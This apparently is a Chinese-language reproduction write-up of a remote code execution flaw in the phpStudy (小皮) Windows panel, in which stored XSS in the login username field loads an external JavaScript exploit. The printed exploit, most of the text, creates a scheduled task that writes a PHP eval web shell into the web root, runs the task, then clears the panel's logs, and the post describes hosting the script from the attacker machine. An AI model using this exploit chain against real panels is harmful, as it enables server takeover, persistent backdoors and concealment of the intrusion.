phpStudy 小皮 Windows面板存在RCE漏洞（图文复现）

靶场资料后台自行领取【靶场】

image-20240726092307252

Phpstudy小皮面板存在RCE漏洞，通过分析和复现方式发现其实本质上是一个存储型XSS漏洞导致的RCE。通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务实现RCE。

image-20240724122800032

image-20240724122752623

这是登录成功的界面

image-20240724094910957

登录成功了就来和大佬们喝喝茶吧~

首先在用户名登录的地方输入XSS代码验证是否存在漏洞

image-20240724101005780

即使输入失败也没有关系

image-20240724101014012

此时再输入正确的密码，成功弹窗

image-20240724101115119

如上图可以看到确实触发XSS弹窗，这是因为整个系统在加载的过程中会读取操作日志的内容，刚刚在用户名处插入的语句就是为了让系统操作日志进行记录以便登录成功之后加载js代码脚本，所以执行显示了登录系统失败。

image-20240724150712294

外链js的**「exp」**

function poc(){  
    $.get('/service/app/tasks.php?type=task_list',{},function(data){  
        var id=data.data[0].ID;  
        $.post('/service/app/tasks.php?type=exec_task',{  
            tid:id  
        },function(res2){  
            $.post('/service/app/log.php?type=clearlog',{  
            },function(res3){},"json");  
        },"json");  
    },"json");  
}  
function save(){  
    var data=new Object();  
    data.task_id="9";  
    data.title="xxxasdxxxx";  
    data.exec_cycle="1";  
    data.week="1";  
    data.day="4";  
    data.hour="15";  
    data.minute = "42";  
    data.shell='echo "<?php @eval($_POST[123]);?>" > E:/Development/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';  
    $.post('/service/app/tasks.php?type=save_shell',data,function(res){  
        poc();  
    },'json');  
}  
save();

在本地（攻击机）使用python开启一个http服务，并且将poc脚本放在服务目录下进行利用。